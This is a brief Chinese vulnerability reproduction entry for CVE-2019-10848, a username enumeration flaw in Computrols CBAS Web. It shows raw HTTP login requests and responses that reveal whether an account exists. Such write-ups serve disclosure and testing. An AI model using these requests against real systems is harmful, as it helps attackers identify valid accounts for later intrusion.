（CVE-2019-10848）Computrols CBAS Web 用户名枚举
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一、漏洞简介
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二、漏洞影响
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19.0.0及以下

三、复现过程
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### 测试无效用户：

    POST /cbas/index.php?m=auth&a=login HTTP/1.1

    username=randomuser&password=&challenge=60753c1b5e449de80e21472b5911594d&response=e16371917371b8b70529737813840c62

Response

    <!-- Failed login comments appear here -->
    <p class="alert-error">randomuser</p>

### 测试有效用户：

    POST /cbas/index.php?m=auth&a=login HTTP/1.1

    username=admin&password=&challenge=6e4344e7ac62520dba82d7f20ccbd422&response=e09aab669572a8e4576206d5c14befc5s

Response

    <!-- Failed login comments appear here -->
    <p class="alert-error">Invalid username/password combination.  Please try again!</p>